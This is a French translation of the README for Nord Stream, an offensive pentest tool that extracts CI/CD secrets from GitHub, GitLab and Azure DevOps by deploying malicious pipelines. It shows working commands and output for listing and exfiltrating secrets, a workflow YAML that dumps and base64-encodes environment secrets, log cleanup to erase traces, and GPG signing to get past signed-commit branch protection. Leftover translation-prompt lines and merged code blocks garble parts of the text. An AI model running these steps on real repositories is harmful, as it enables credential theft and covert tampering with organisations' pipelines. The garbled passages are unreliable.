
Nord Stream est un outil qui vous permet d'extraire des secrets stockés dans les environnements CI/CD en déployant des pipelines malveillants. Il prend actuellement en charge Azure DevOps, GitHub et GitLab.
Nord Stream est un outil qui vous permet d'extraire les secrets stockés dans les environnements CI/CD en déployant des pipelines malveillants.
Il prend actuellement en charge Azure DevOps, GitHub et GitLab.
En savoir plus dans l'article de blog suivant : https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` est également requis (voir https://git-scm.com/download/) et doit exister dans votre `PATH`.
## Utilisation
Voici un exemple simple sur GitHub ; au départ, on peut énumérer les différents secrets.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
Ensuite, procédez à l'exfiltration :```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### Arguments partagés
Certains arguments sont partagés entre [GitHub](#github), [Azure DevOps](#azure-devops) et [GitLab](#gitlab), voici quelques exemples.
#### Décrire le jeton
L'option `--describe-token` peut être utilisée pour afficher des informations générales sur votre jeton :```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
L'option --build-yaml peut être utilisée pour créer un fichier de pipeline sans le déployer. Elle récupère les différents noms de secrets pour construire le pipeline associé, qui peut être utilisé pour ajouter des étapes personnalisées :```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
L'option `--yaml` peut être utilisée pour déployer un pipeline personnalisé:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
I don't see any content in the INPUT section to translate. Please provide the chunk text.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
Par défaut, il affichera la sortie de la tâche nommée `command` du job `init`, mais tout est stocké localement et peut être consulté manuellement :```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
Par défaut, Nord Stream tentera de supprimer les traces laissées après le déploiement d'un pipeline, selon vos privilèges. Pour conserver les traces, l'option --no-clean peut être utilisée. Cela conservera les journaux du pipeline, mais cela annulera toujours les modifications apportées au dépôt.
Notez que pour GitLab, certaines traces ne peuvent pas être supprimées.
Les administrateurs de dépôt peuvent imposer la signature obligatoire des commits sur une branche afin de bloquer tous les commits qui ne sont pas signés et vérifiés. Avec Nord Stream, il est possible de signer les commits pour contourner cette protection.
Commencez par créer et importer votre clé GPG sur la plateforme SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
Aucun contenu source n'a été fourni. Veuillez coller le bloc Markdown à traduire.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[No content provided after "INPUT:"]```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps
Nord Stream peut extraire les types de secrets suivants :
- Groupes de variables (vg)
- Fichiers sécurisés (sf)
- Connexions de service
#### Connexions de service